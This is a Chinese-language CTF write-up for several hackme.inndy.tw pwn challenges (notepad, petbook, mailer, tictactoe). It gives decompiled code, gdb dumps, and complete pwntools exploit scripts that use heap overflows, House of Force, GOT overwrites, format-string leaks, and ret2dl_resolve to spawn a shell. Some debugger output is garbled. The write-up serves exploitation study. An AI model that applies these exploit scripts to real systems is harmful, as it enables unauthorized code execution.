                                                                   0x00000000
                0xffe8f7d4
0xffe8f754:
                0x00000000
                                 0xf7703000
                                                  0xf774ac04
                                                                   0xf774a000
        x/20wx 0xffe8b504+0x4200
0xffe8f704:
                0x00000000
                                 0x00000000
                                                  0x00000001
                                                                   0xf7703000
                0xf7703000
                                                  0x08048957
                                                                   0x08048b2c
JXTTEST/14:
                                 0xffe8f738
0xffe8f724:
                0x00000000
                                 0x00000002
                                                  0x00000000
                                                                   0xf7703000
0xffe8f734:
                0xf7703000
                                 0x00000000
                                                  0xf7569637
                                                                   0x00000001
0xffe8f744:
                0xffe8f7d4
                                                  0×00000000
                                                                   0×00000000
                                 0xffe8f7dc
      telescope 0xffe8f704 30
90:0006
           0xffe8f70c ← 0x1
02:0008
           0xffe8f710 → 0xf7703000 ( GLOBAL OFFSET TABLE ) ← 0x1b1db0
03:000c
05:0014
           0xffe8f718 → 0xffe8f738 ← 0x0
06:0018
           0xffe8f71c →
                                                mov
                                                           eax, 0
07:001c
           0xffe8f720 →
                                       dec
                                               eax
08:0020
           0xffe8f724 ← 0x0
09:0024
           0xffe8f728 ← 0x2
0a:0028
           0xffe8f72c ← 0x0
           0xffe8f730 → 0xf7703000 ( GLOBAL OFFSET TABLE ) ← 0x1b1db0
0b:002c
. . . . .
0d:0034
0e:0038
              fe8f73c →
                                                                          esp, 0x10
                                                              dadd
0f:003c
               e8f740
                          0 \times 1
10:0040
                          0x11e817d4
0xffe8f7dc
                                        0xffe900a5 <- 0x4e5f434c ('LC_N')
11:0044
```

可以看到,这下面就是main函数的返回地址,这样一来利用的思路就很清晰了,先通过伪造note,把next一直指向到__libc_start_main+247,然后通过show,把他的接着再使得next指向(__libc_start_main+247)-0x8的位置,这时再添加新的note,就会改变__libc_start_main+247的值(改为onegadget),在程序正常退出

show函数是根据id来show出内容的,因此需要注意得看dump函数中的id,以确定需要泄漏的note在哪个位置

而add函数则是 通过node->next和 node->data[0]来添加新的note的

exp如下:

这里有个小细节需要注意的:

```
def sd(s):
  return p.send(s)
def rc(timeout=0):
  if timeout == 0:
     return p.recv()
  else:
      return p.recv(timeout=timeout)
def ru(s, timeout=0):
  if timeout == 0:
      return p.recvuntil(s)
  else:
      return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
  return p.sendlineafter(a,s)
def sda(p,a,s):
  return p.sendafter(a,s)
def getshell():
  p.interactive()
#-----
def add(contant):
  sla(p,"Your action: ","1")
  sla(p,"Input your note: ",contant)
def edit(index,contant):
  sla(p,"Your action: ","2")
  sla(p,"Which note to edit: ",str(index))
  sla(p,"Your new data: ",contant)
def show(index):
  sla(p,"Your action: ","3")
  ru("Which note to show: ")
  sl(str(index))
def show_all():
  sla(p,"Your action: ","4")
gdb.attach(p)
pause()
add("aa")
show(0)
ru("Next note: 0x")
note = int(p.recv(8),16)
print "next note is-->",hex(note)
pause()
edit(0,"a"*4+p32(note+0x4200-0x20))
pause()
add("b"*2)
edit(2,"b"*4+p32(note+0x4200-0x20+0x40+8))
pause()
show(4)
ru("Next note: 0x")
libc_main = int(p.recv(8),16)
libc_base= libc_main-0x18637
##libc.symbols
one = libc_base+0x5fbc5#
print "onegadget---->",hex(one)
print "libc_base-->",hex(libc_base)
pause()
edit(2,"b"*4+p32(note+0x4200-0x20+0x40))
```

```
pause()
add(p32(one)*2)
sla(p,"Your action: ","5")
getshell()
```

做完这题后去查了别的师傅的wp,发现他们的做法都不一样,有的是改got表的操作,有的是return2dl_resolve的操作,真是太秀了,他们的wp在网上搜一下也很容易找到

notepad

```
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```

常规保护机制nx+canary

这是一道堆漏洞利用的题目,题目逻辑略显复杂,但大部分都是花里胡哨的没用的逻辑,进去会先看到一个菜单,直接进入notepad进行分析,其他的都是没用的

首先看这个

```
int notepad_new()
 char *v1; // eax
 char *v2; // ST1C_4
 char **v3; // [esp+4h] [ebp-14h]
 signed int n; // [esp+8h] [ebp-10h]
 v3 = notepad_find_slot();
 if ( !v3 )
  return puts("space is full");
 printf("size > ");
n = readint();
 if (n \le 0 | | n > 0x400)
  return puts("invalid size");
 v1 = malloc(n + 16);
 v2 = v1;
 *(v1 + 3) = n;
 *(v1 + 2) = 1;
 *v1 = notepad_show;
 *(v1 + 1) = notepad_destory;
 printf("data > ");
 fgets(v2 + 16, n, stdin);
 *v3 = v2;
return printf("your note id is %d\n", (v3 - notes) >> 2);
可以看到, new函数,可以分配0x10~0x410大小的chunk,在chunk中有以下结构:
struct note{
  notepad_show *notepad_show;//
  notepad_destroy *notepad_destroy;//
  int flags;//
  int n;//data■■■■■
  data[n]//note■■■
```

这个程序大量使用了函数指针的方式,这就有可能造成函数指针窜用的漏洞

继续看open函数:

```
unsigned int notepad_open()
{
  int v0; // ST1C_4
  int *v2; // [esp+4h] [ebp-1024h]
  int v3; // [esp+8h] [ebp-1020h]
  const char *v4; // [esp+10h] [ebp-1018h]
  const char *v5; // [esp+14h] [ebp-1014h]
```

```
int v6; // [esp+18h] [ebp-1010h]
char s; // [esp+1Ch] [ebp-100Ch]
unsigned int v8; // [esp+101Ch] [ebp-Ch]
v8 = __readgsdword(0x14u);
v2 = notepad_choose();
if ( v2 )
  v3 = *v2;
  puts("note opened");
  if ( *(v3 + 8) \&\& yes_or_no("edit") )
    printf("content > ");
    fgets(&s, 0x1000, stdin);
    strncpy((v3 + 16), &s, *(v3 + 12));
    puts("note saved");
  v4 = "show note";
  v5 = "destory note";
  v6 = 0;
  v0 = menu(\&v4); //
  (*(v3 + 4 * (v0 - 1)))(v3); //
  puts("note closed");
return __readgsdword(0x14u) ^ v8;
}
int __cdecl menu(int al)
int result; // eax
int i; // [esp+8h] [ebp-10h]
int v3; // [esp+Ch] [ebp-Ch]
for ( i = 0; *(4 * i + a1); ++i )
  printf("%c> %s\n", i + 97, *(4 * i + a1));
printf("::> ");
v3 = getchar() - 'a';//
freeline();
if (v3 < i)
  result = v3 + 1;
else
  result = 0;
return result;
```

通过上的分析,我们可以通过构造chunk的内容来实现改变程序流程

思路是这样的:

假设有chunk0和chunk1,使得chunk0的data的最后一个字长内容为一个函数puts的地址,然后在open chunk1,再选择 "show note destory note"的时候输入"^"(也就是ASCII的94)

那么, 当执行到(*(v3 + 4 * (v0 - 1)))(v3);的时候, 就是执行函数puts(v3), 通过这样一种方式实现了改变执行流程执行了其他的函数

这里可以做到执行任意地址,但是参数v3还没法控制,默认还是一个堆的地址,这个时候就需要用到堆的overlap的操作,先free chunk0和chunk1,再重新分配使得chunk1的内容可以任意改,从而控制参数的内容

exp如下:

```
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./notepad"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
    libc = ELF("./libc-2.23.so.i386")
```

```
p = remote("hackme.inndy.tw",7713)
elif sys.argv[1] == "1":
  libc = elf.libc
  p = process(bin_elf)
#-----
def sl(s):
  return p.sendline(s)
def sd(s):
  return p.send(s)
def rc(timeout=0):
 return p.recv()
def sp():
  print "-----"
  return raw_input()
def ru(s, timeout=0):
  if timeout == 0:
     return p.recvuntil(s)
  else:
      return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
  return p.sendlineafter(a,s)
def sda(p,a,s):
  return p.sendafter(a,s)
def getshell():
 p.interactive()
#-----
def new(size,content):
  ru("::> ")
  sl('a')
  ru("size > ")
  sl(str(size))
  ru("data > ")
  sl(content)
def open_edit(index,content,choose = 'a'):
  ru("::> ")
  sl('b')
  ru("id > ")
  sl(str(index))
  ru("edit (Y/n)")
  sl("y")
  ru("content > ")
  sl(content)
  ru("::> ")
  sl(choose)
def open_not_edit(index,choose = 'a'):
  ru("::> ")
  sl('b')
  ru("id > ")
  sl(str(index))
  sl("n")
  ru("::> ")
  sl(choose)
def delete(index):
  ru("::> ")
  sl('c')
  rc()
  sl(str(index))
def setread(index):
  ru("::> ")
  sl('d')
  rc()
  sl(str(index))
def keepsec(index):
  ru("::> ")
  sl('e')
  rc()
  sl(str(index))
```

```
gdb.attach(p)
sp()
sla(p,"::> ","c")
new(0x60, "aaaa")#chunk0
new(0x60, "bbbb") #chunk1
new(0x60,"cccc")#chunk2
payload = "a"*0x5c + p32(elf.symbols['free'])
open_edit(0,payload)
open_edit(1,"bbbb",'^')#'a'-3 = 97-3='^'
delete(0)
print "printf------,",hex(elf.plt['printf'])
payload1 = "a" * 0x5c + p32(elf.plt['printf'])
payload1 += "a"*8 + "%1063$p\x00"#####main####
new(0xe0 - 16,payload1)
sp()
open_not_edit(1,'^')
sp()
leak = int(p.recv(10),16)
print "leak----->",hex(leak)
libc_base = leak - 0x18637#__libc_start_main_ret■■
print "libc_base----->",hex(libc_base)
system = libc_base+libc.symbols['system']
print "system Offset---->",hex(libc.symbols['system'])
print "system ----->",hex(system)
delete(0)
payload2 = 'a'*0x5c + p32(system)
payload2 += "a"*8 + '/bin/sh\x00'
new(0xe0 - 16,payload2)
open_not_edit(1,'^')
getshell()
```

这里需要注意的是的,通过调用printf(%1063\$p)泄漏出的main函数的返回地址,从而泄漏了libc,这个1063是通过调试得来的,在执行 $open_not_edit(1, '^')$ 之前,征证证据的

```
0xff952cac → 0x8048cea (notepau open 20

0xff952cb0 → 0x8c1a080 ← '%1063$p'

0xff952cb4 → 0xff952cdc ← 'bbbb\n'

0xff952cb8 → 0xff953ce8 → 0xff953d18 → 0xff953d48 ← 0x0

0x8048be0 (notepad open+25) ← mov dword pt
90:0000
                                                                                                                  esp, 0x10
               esp
01:0004
02:0008
03:000c
04:0010
                                                                                                                dword ptr [ebp - 0x1024], eax
                       05:0014
06:0018
                       0xff952cc8 → 0x8cla080 ← '%1063$p'
07:001c
                                                                        -[ BACKTRACE ]—
   f 0 8048500 printf@plt
    f 1 8048cea notepad_open+291
            8048e46 notepad+118
           8049223 main+278
        4 f7610637 libc start main+247
Breakpoint *0x8048500
            stack 100
00:0000 esp
                                                                                                                  esp, 0x10
                       0xff952cb0 → 0x8c1a080 ← '%1063$p'
01:0004
                       0xff952cb0 → 0x8cla080 ← '%1063$p'
0xff952cb4 → 0xff952cdc ← 'bbbb\n'
0xff952cb8 → 0xff953ce8 → 0xff953d18 → 0xff953d48 ← 0x0
0xff952cbc → 0x8048be0 (notepad_open+25) ← mov dword pt
0xff952cc0 ← 0x0
0xff952cc4 → 0x804b084 (notes+4) → 0x8cla080 ← '%1063$p'
0xff952cc8 → 0x8cla080 ← '%1063$p'
0xff952ccc ← 0xfffffffe
0xff952cd0 → 0x8049458 ← jae 0x80494c2 /* 'show note' *
0xff952cd4 → 0x8049462 ← jae 0x80494da /* 'destory note
0xff952cd8 ← 0x0
0xff952cdc ← 'bbbb\n'
0xff952ce0 ← 0x6161000a /* '\n' */
0xff952ce4 ← 0x61616161 ('aaaa')
02:0008
03:000c
04:0010
                                                                                                                dword ptr [ebp - 0x1024], eax
05:0014
06:0018
07:001c
08:0020
09:0024
                                                                                 0x80494c2 /* 'show note' */
                                                                                 0x80494da /* 'destory note' */
0a:0028
0b:002c
0c:0030
0d:0034
0e:0038
                       0xff952d3c ← 0xa /* '\n' */
0xff952d40 ← 0x0
                                                                                                    dword ptr [0x804b010]
23:008c
24:0090
25:0094
```

那么疯狂往下找main函数的返回地址,发现在0xff953d4c处可以泄漏出_libc_start_main+247

```
0xff953d48 ← 0x0
3e:00f8
                                             libc start main+247) ← add
               0xff953d4c → €
3f:00fc
                                                                                esp, 0x10
               0xff953d50 → 0xf77aa000 ( GLOBAL OFFSET TABLE ) ← 0x1b1db0
40:0100
42:0108
               0xff953d58 ← 0x0
               0xff953d5c → 0xf
0xff953d60 ← 0x1
                                           ( libc start main+247) ← add
43:010c
                                                                                esp, 0x10
44:0110
45:0114
               0xff953d64 → 0xff953df4 → 0xff954203 ← './notepad'
46:0118
               0xff953d68 → 0xff953dfc → 0xff95420d ← 0x4e5f434c ('LC N')
47:011c
               0xff953d6c ← 0x0
4a:0128
               0xff953d78 → 0xf77aa000 ( GLOBAL OFFSET TABLE ) ← 0x1b1db0
4b:012c
               0xff953d7c → 0xf77f1c04 ← 0x0
               0xff953d80 → 0xf77f1000 ( GLOBAL OFFSET TABLE ) ← 0x23f3c
4c:0130
               0xff953d84 ← 0x0
4d:0134
               0xff953d88 → 0xf77aa000 (_GLOBAL_OFFSET_TABLE_) ← 0x1b1db0
4e:0138
50:0140
               0xff953d90 ← 0x0
               0xff953d94 ← 0xbf384f6
51:0144
               0xff953d98 ← 0xe382aae7
0xff953d9c ← 0x0
52:0148
53:014c
56:0158
               0xff953da8 ← 0x1
                                      f0c(_start) - xor
57:015c
               0xff953dac →
                                                              ebp, ebp
               0xff953db0 ← 0x0
0xff953db4 → 0xf
58:0160
                                            dl_runtime_resolve+16)
dl fini) ← push ebp
59:0164
                                                                                 edx
                                                                      pop
               0xff953db8 →
5a:0168
               0xff953dbc → 0xf77f1000 (_GL0BAL_0FFSET_TABLE_) ← 0x23f3c
0xff953dc0 ← 0x1
5b:016c
5c:0170
               0xff953dc4 →
                                          ( start) ← xor
5d:0174
                                                              ebp, ebp
               0xff953dc8 -
5e:0178
                              0x0
               0xff953dcc → 0xff953dd0 →
                                         (_start+33) ← hlt
(main) ← lea ecx, [esp + 4]
5f:017c
60:0180
               0xff953dd4 ← 0x1
61:0184
               0xff953dd8 → 0xff953df4 → 0xff954203 ← './notepad'
0xff953ddc → 0x8049250 (_libc_csu_init) ← push €
62:0188
63:018c
                                                oc_csu_init) <- push
                                                                         ebp
        p (0xff953d5c-0xff952cb0)/4
  = 1067
                                                                                先知社区
          (0xff953d4c-0xff952cb0)/4
$3 = 1063
```

从而计算出偏移的位置是1063或者1067

另外这题用onegadget似乎不行,只能老老实实构造system(/bin/sh)

petbook

```
Arch: amd64-64-little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (0x400000)

FORTIFY: Enabled //
```

这题的逻辑稍微复杂,首先让你进行登录,如果没有账号的话就需要去注册一个账号

```
setvbuf(stdin, OLL, 2, OLL);
setvbuf(stdout, OLL, 2, OLL);
if ( syscall(318LL, &magic, 4LL, OLL) != 4 )
{
   puts_0("Can not generate random");
   exit(1);
}
srandom(magic);
v3 = base64_table;
do
{
   v4 = random();
   v5 = *v3;
```

```
v6 = v4 % 64;
  *v3 = base64_table[v6];
 base64_table[v6] = v5;
  ++v3;
}
while ( v3 != &aBcdefghijklmno[63] );
while (1)
 while (1)
   v7 = main_menu();
   if ( v7 != 2 )
    break;
   user_login();
 if (v7 == 3)
   exit(0);
 if ( v7 == 1 )
   user_reg();
 else
   puts_0("Invalid option");
```

在注册账号的时候,会有一个用户的结构体:

```
00000000 USER
                     struc ; (sizeof=0x218, mappedto_9)
00000000 uid
                     dd?
                    db 256 dup(?)
00000004 name
00000104 pwd
                     db 256 dup(?)
00000204 flag
                     dd ?//
00000208 pet
                      dq ?
                                            ; offset
00000210 post
                      dq?
                                            ; offset
00000218 USER
                      ends
```

这些结构体的成员都存在一个堆块里面

注册成功后登录,进入用户界面:



用户有写post、查看post内容,编辑post,改密码,领取pet,给pet改名,丢弃pet的功能,

然后pet也有一个对应的结构体:

这题除了逻辑比较复杂,还存在很多的堆的创建和时候,我们来理一下:

- 注册用户的时候,创建大小为0x218的堆块来存储用户信息
- 创建post的时候,创建0x110的chunk用于存储uid、title、post指针,创建任意大小的chunk存储post内容
- 领取pet的时候,创建0x10001的chunk存储pet的名字,创建0x18的chunk存储pet的uid和name的指针和type

总结来说就只有post的时候是可以控制创建任意大小的chunk 的

再来看看哪些地方有free 掉chunk的操作:

- 在edit post的时候,如果编辑的size大于原来的,那么realloc函数就会把原来的post所在的chunk给free掉重新生成大的chunk存储post的内容
- 在 abandon pet的时候,会把存储pet的信息的chunk给free掉,同时清空user的pet成员

通过上面的分析,不难看出,我们的利用点主要是edit

post操作,如果创建一个0x218的post,接着edit它,将size改大,那么这个0x110的chunk就会进入unsorted bin,这个时候如果进行注册user,那么user的结构体的各个成员就能预先设定好,从而有操作的空间

核心的思路就是:通过构造post,然后在edit post使得post内容的chunk进入unsorted bin,接着新建用户,操作user结构体的各个成员,伪造pet的chunk和内容,达到任意读写的目的

由于本题中有很多这样的magic的检查:

```
if ( (magic ^ *current_user) & 0xFFFF0000 )
{
   puts_0("corrupted object detected");
   exit(1);
}
```

因此我们要写泄漏出magic来,才能方便进行操作

分四步走:

- 第一步:通过post伪造user,泄露出堆基地址
- 第二步:伪造pet,泄露出puts,从而泄露libc
- 第三步:泄露出magic,绕过检查,修改free的got表为system
- 第四步:通过free(/bin/sh\x00)来getshell

exp如下

```
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./petbook"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
   libc = ELF("./libc-2.23.so.x86_64")
   p = remote("hackme.inndy.tw",7710)
elif sys.arqv[1] == "l":
  libc = elf.libc
   p = process(bin_elf)
def sl(s):
  return p.sendline(s)
def sd(s):
  return p.send(s)
def rc():
  return p.recv()
def sp():
```

```
print "-----"
  return raw input()
def ru(s, timeout=0):
  if timeout == 0:
     return p.recvuntil(s)
  else:
      return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
  return p.sendlineafter(a,s)
def sda(p,a,s):
  return p.sendafter(a,s)
def getshell():
  p.interactive()
#-----
def register(name,pwd):
  sla(p," >>\n","1")
  sla(p," >> \n", name)
  sla(p," >> \n",pwd)
def login(name,pwd):
  sla(p," >>\n","2")
  sla(p," >>\n",name)
  sla(p," >> \n",pwd)
def exit():
  sla(p," >>\n","0")
def post(title,length,content):
  sla(p," >>\n","1")
  sla(p," >>\n",title)
  sla(p," >>\n",str(length))
  sla(p," >>\n",content)
def edit_post(id,title,size,content):
  sla(p," >> n",'3')
  sla(p,"Post id >>\n",str(id))
  sla(p,"New title >>\n",title)
  sla(p,"New content size >>\n",str(size))
  sla(p, "Content >> \n", content)
def adopt(name):
  sla(p," >> n",'5')
  sla(p,"Name your pet >>\n",name)
def rename(name):
  sla(p," >> n",'6')
  sla(p,"Name your pet >>\n",name)
def abandom():
  sla(p," >> n",'7')
#gdb.attach(p,"tracemalloc on")
userdb=0x000603158
#III:IIpostIIuser,III
payload1= 'a'*0x208 + p64(userdb-0x10)
register('user1','user1')
login('user1','user1')
post('post1',0x230,payload1) #post1
register('user2','user2')
login('user2','user2')
p.recvuntil("Pet Type: ")
leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00'))
heap_base = leak_heap - 0x230###gdb#####0x230##,#######
print "leak_heap----->",hex(leak_heap)
print "heap_base----->",hex(heap_base)
sp()
#III: IIpet, IIIputs, IIIIlibc
fake_pet = heap_base + 0x940#
#0x940
```

```
magic = 0x603164
payload2 = 'a'*0x208 + p64(fake_pet)
\verb"post('post2',0x100,p64(elf.got["puts"])*2)#uid = 4,post2"
post('post3',0x230,payload2)#uid = 5,post3
edit_post(5,'post3',0x240,'post3')
exit()
register('user3','user3')
login('user3','user3')
p.recvuntil("Pet Name: ")
leak\_libc = u64(p.recvline().strip('\n').ljust(8,'\x00'))
libc_base = leak_libc - libc.symbols['puts']
system = libc_base+libc.symbols['system']
print "libc_base------,",hex(libc_base)
exit()
####:###magic,####,##free#got##system
login('user2','user2')
edit_post(4,'post2',0x100,p64(magic)*4)
exit()
login('user3','user3')
p.recvuntil("Pet Name: ")
leak_magic = u64(p.recvline().strip('\n').ljust(8,'\x00'))
print "magic----->",hex(leak_magic)
fake_magic = leak_magic + 0x600000000
payload3 = p64(fake_magic) + p64(elf.got['free'])
payload4 = 'a'*0x208 + p64(fake_pet)
post('post4',0x230,payload4) #uid = 7,post4
edit_post(7,'post4',0x240,'post4')
exit()
register('user4','user4')
login('user2','user2')
edit_post(4,'post2',0x100,payload3)
exit()
login('user4','user4')
rename(p64(system))
exit()
\# free(/bin/sh\x00) getshell
register('user5','user5')
login('user5','user5')
adopt('/bin/sh\x00')
abandom()
getshell()
```

这题主要的难点在于程序逻辑复杂,东西一多就难以整理出对解题有用的线索,在做这题的时候花了很多时间,同时光看ida是不够的,还得边调试边加深对程序逻辑的理解这题应该可以用onegadget来做,但是不知道为什么没法getshell,可能是玄学环境问题吧

mailer

```
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
```

32位程序,只开了个canary保护

write:

```
lchar *write_mail()
<u>}</u> {
  int length; // eax
  char *v1; // ST1C_4
  char *result; // eax
  printf("Content Length: ");
 length = readint();
 v1 = (char *)new_mail(length);
                                         // fd置零, chunk[17]为length的值
 printf("Title: ");
  gets(v1 + 4);
                                         // chunk[1]为title的值,有溢出漏洞
  printf("Content: ");
  gets(v1 + 0x48);
                                         // chunk[18]为Content,有溢出漏洞
  *( DWORD *)v1 = root;
                                         // chunk[0]为root的值,地址
 result = v1;
                                         // 更新root为chunk的指针
 root = (int)v1;
  return result;
可以看到,这里使用了gets函数,则会有堆溢出的漏洞,
dump:
1 int dump mail()
2 {
3
    DWORD *mail; // [esp+8h] [ebp-10h]
    signed int num; // [esp+Ch] [ebp-Ch]
4
5
6
    mail = ( DWORD *)root;
7
    num = 1;
8
    while ( mail )
9
    {
      printf("-- Mail %d:\n", num);
.0
.1
       printf("Title: %s\n", mail + 1);
       printf("Content: ");
.2
      fwrite(mail + 18, 1u, mail[17], stdout);
      printf("\n-- End mail %d\n", num++);
.4
      mail = ( DWORD *)*mail;
.6
    return puts("-- No more mail!");
.8
```

这个函数肯定是用于泄漏地址的,可以看到:fwrite(mail + 18, 1u, mail[17], stdout);

程序的主要逻辑就只有这些,我们会发现,没有free函数,那么就没法使用uaf等操作了

可利用的线索有:

- 创建mail的时候存在堆溢出,可修改length,可泄漏地址
- 创建mail的时候,写content时可溢出修改至top chunk
- 没开NX, 堆可执行代码

由此我们的思路就清晰了,步骤如下

- 新建两个mail,创建chunk1和chunk2,其中chunk1输入title时写入shellcode,同时溢出到length,将其改为0x70,在使用dump功能的时候就可以把chunk1的堆地址
- 同时在chunk2中输入content的时候,溢出到top chunk,修改size为0xffffffff
- 再一次申请一个新的mail,大小为elf.got["printf"] top- 72-16
- 由于新的top chunk的size = old top chunk的地址+新malloc的chunk的大小,新的top chunk的地址为elf.got["printf"] -16+4
- 下一次新建mail的时候,再输入的title就会刚刚好位于elf.got["printf"]中,修改为shellcode的地址
- 改printf的got表为shellcode地址,从而getshell

exp如下:

```
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./mailer"
context.binary=bin_elf
elf = ELF(bin_elf)
#libc = ELF("./libc-2.23.so")
libc = elf.libc
if sys.argv[1] == "r":
  p = remote("hackme.inndy.tw",7721)
elif sys.argv[1] == "l":
  p = process(bin_elf)
#-----
def sl(s):
  return p.sendline(s)
  return p.send(s)
def rc(timeout=0):
  if timeout == 0:
      return p.recv()
      return p.recv(timeout=timeout)
def ru(s, timeout=0):
  if timeout == 0:
      return p.recvuntil(s)
      return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
  return p.sendlineafter(a,s)
def sda(a,s):
  return p.sendafter(a,s)
def debug(addr=''):
  gdb.attach(p,'')
  pause()
def getshell():
  p.interactive()
def write(Length, Title, Content):
  ru("Action: ")
  sl("1")
  ru("Content Length: ")
  sl(str(Length))
  ru("Title: ")
  sl(Title)
  ru("Content: ")
  sl(Content)
```

```
shellcode =asm(shellcraft.sh())#length is 44
#print len(shellcode)
\verb|write(32,shellcode.ljust(0x40,"\xbox{$\times$}40,")+p32(0x70),"aaaa")|\\
write(32,"bbbb","bbbb"*8+p32(0)+p32(0xffffffff))
#write(48, "cccc", "cccc")
sla(p, "Action: ", "2")
ru("\x71")
leak_heap=u32(p.recv(7)[3:])
shellcode_addr = leak_heap+4
top = leak_heap+0xd8
fake_size = elf.got["printf"] - top- 72-16
print "shellcode address is : ",hex(shellcode_addr)
print "top chunk address is : ",hex(top)
print "fake size is : ",hex(fake_size)
print "fake size+top = ",hex(fake_size+top)
write(fake_size,'aaaa','bbbb')
gdb.attach(p)
pause()
sla(p,'Action: ','1')
sla(p,'Length: ','30')
sla(p,'Title: ',p32(shellcode_addr))
pause()
getshell()
```

tictactoe1, 2



32位程序,开了canary,NX保护

tictactoe1和tictactoe2都是一样的题目,只是要求到的操作不一样,tictactoe1只需要得到flag_simple就行了,而tictactoe2需要搞到shell,才能得到进一步的flag 这里我就直接开始弄能拿到shell的操作

首先分析一波程序:



这其实是个井字棋游戏,只有赢了才能拿到flag,但实际上不可能赢,你最多做到平局

这时就需要通过找漏洞来操作了:

```
1unsigned int sub_8048A4B()
 2 {
    int v1; // [esp+4h] [ebp-14h]
 3
    char buf; // [esp+8h] [ebp-10h]
 4
    unsigned int v3; // [esp+Ch] [ebp-Ch]
 5
 6
7
    v3 = __readgsdword(0x14u);
    printf("\nInput move (9 to change flavor): ");
 8
    v1 = input_num();
 9
    if (v1 == 9)
10
11
      read(0, &buf, 4u);
12
     char X = buf;
13
      play();
14
15
    }
    else
16
17
     *(v1 + 0x804B056) = char_X;
18
      if ( sub 80486F0(v1) )
19
        *(v1 + 0x804B04D) = -1;
20
21
    return __readgsdword(0x14u) ^ v3;
22
23 }
```

漏洞主要出在这里, v1可以输入为负数, 从而导致可以任意地址写一个字节

这里就很容易想到,如果把puts的got表改成0x8048C46,也就是下图中的地址,即可拿到flag_simple

```
if ( v1 == 1 )
3
       sub 8048762();
       putss("You lose. :(");
2
     else if ( v1 == -1 )
3
1
5
    putss("You win. Inconceivable!");
5
       fd = open("flag_simple", 0);
7
       v5 = read(fd, buf, 0x100u);
       if ( fd <= 0 || v5 <= 0 )
3
         putss("Can not read flag! Pls contact admin");
       else
3
         buf[v5] = 0;
5
         printf("Here is your flag: %s\n", buf);
5
         putss("You need a shell to get another flag");
       exit(0);
9
3
```

但是,我这里直接做getshell的操作,这实际上有两种getshell的方法

方法一

使用ret2dl_resolve的方法:

```
25
    putss("Try to beat my A.I. system");
    printf("Computer: 0, You: %c\nPlay (1)st or (2)nd? ", char_X);
26
    if ( input_num() % 2 == 1 )
27
      \vee 0 = 1;
28
29
    else
      \vee 0 = -1;
30
    player = v0;
31
    for ( i = 0; i <= 8 && !check(); ++i )
32
33
      if (player == -1)
34
35
36
        AI_play();
37
      else
38
39
        play_result();
10
        you_play();
41
12
43
      player = -player;
14
45
    v1 = check();
首先有一个for循环,最多进行九次,根据你选择的先手或者后手进行下棋,AI和用户交替下,通过check函数来判断棋局是否有结果,每一轮循环,会用取反来交替下棋
继续进入you_play函数分析:
如果用户输入9,那么可以改变下棋的占位字符(默认的是X),通过这个造成一个任意地址写,最多能达到9次的任意地址写
```

由此可以通过ret2dl_resolve的方法,把memset指向system,同时改player为\$0,从而执行system(\$0\x00) getshell,当然system(\$h\x00) 也行,我这里用\$0

ret2dl_resolve的关键点在于第一次执行memset函数的时候,会通过DT_STRTAB找到函数名的字符串,从而确定函数的真正地址,如果通过操作使得memset在找函数名写

putss("Welcome to use AlphaToe");

在main函数的最后: memset(&player, 0, 0x18u);

从IDA中看:

24

```
LOAD:0804AF14 ; ELF Dynamic Information
LOAD:0804AF14
LOAD:0804AF14 ; Segment type: Pure data
LOAD:0804AF14 ; Segment permissions: Read/Write
LOAD:0804AF14 LOAD
                            segment mempage public 'DATA' use32
LOAD:0804AF14
                            assume cs:LOAD
LOAD:0804AF14
                            ;org 804AF14h
                                                  ; DATA XREF: LOAD:080480BC1o
LOAD:0804AF14 stru_804AF14
                            Elf32_Dyn <1, <1>>
                                                   ; .got.plt:0804B000↓o
LOAD:0804AF14
LOAD:0804AF14
                                                   ; DT NEEDED libc.so.6
LOAD:0804AF1C
                            Elf32_Dyn <0Ch, <8048498h>> ; DT_INIT
LOAD:0804AF24
                            Elf32_Dyn <0Dh, <8048DA4h>> ; DT_FINI
                            Elf32_Dyn <19h, <804AF04h>> ; DT_INIT_ARRAY
LOAD:0804AF2C
                            Elf32_Dyn <1Bh, <8>> ; DT_INIT_ARRAYSZ
LOAD:0804AF34
                            Elf32_Dyn <1Ah, <804AF0Ch>> ; DT_FINI_ARRAY
LOAD: 0804AF3C
LOAD:0804AF44
                            Elf32_Dyn <1Ch, <4>> ; DT_FINI_ARRAYSZ
                            F1f32 Dyn <6FFFFFF5h, <80481ACh>> ; DT GNU HASH
LOAD:0804AF4C
OAD:0804AF54
                            Elf32_Dyn <5, <80482F8h>> ; DT_STRTAB
LUAD:0804AF5C
                            Elf32_Dyn <6, <80481D8h>> ; DT_SYMTAB
LOAD:0804AF64
                            Elf32_Dyn <0Ah, <0BCh>> ; DT_STRSZ
LOAD:0804AF6C
                            Elf32 Dvn <0Bh, <10h>> ; DT SYMENT
```

STRTAB位于0x0804af58中

输入: readelf -a tictactoe1

```
Dynamic section at offset 0x1f14 contains 24 entries:
              类型
                                             名称/值
0x00000001 (NEEDED)
                                           共享库: [libc.so.6]
0x0000000c (INIT)
                                           0x8048498
0x0000000d (FINI)
                                           0x8048da4
0x00000019 (INIT ARRAY)
                                           0x804af04
0x0000001b (INIT ARRAYSZ)
                                           8 (bytes)
0x0000001a (FINI ARRAY)
                                           0x804af0c
0x0000001c (FINI ARRAYSZ)
                                           4 (bytes)
0x6ffffef5 (GNU HASH)
                                           0x80481ac
0x00000005 (STRTAB)
                                           0x80482f8
                                           UX0U401U0
UXUUUUUUUU (SYMIAD)
0x00000000a (STRSZ)
                                           188 (bytes)
0x0000000b (SYMENT)
                                           16 (bytes)
0x00000015 (DEBUG)
                                           0x0
0x00000003 (PLTGOT)
                                           0x804b000
0x00000002
            (PLTRELSZ)
                                           104 (bytes)
0x00000014
            (PLTREL
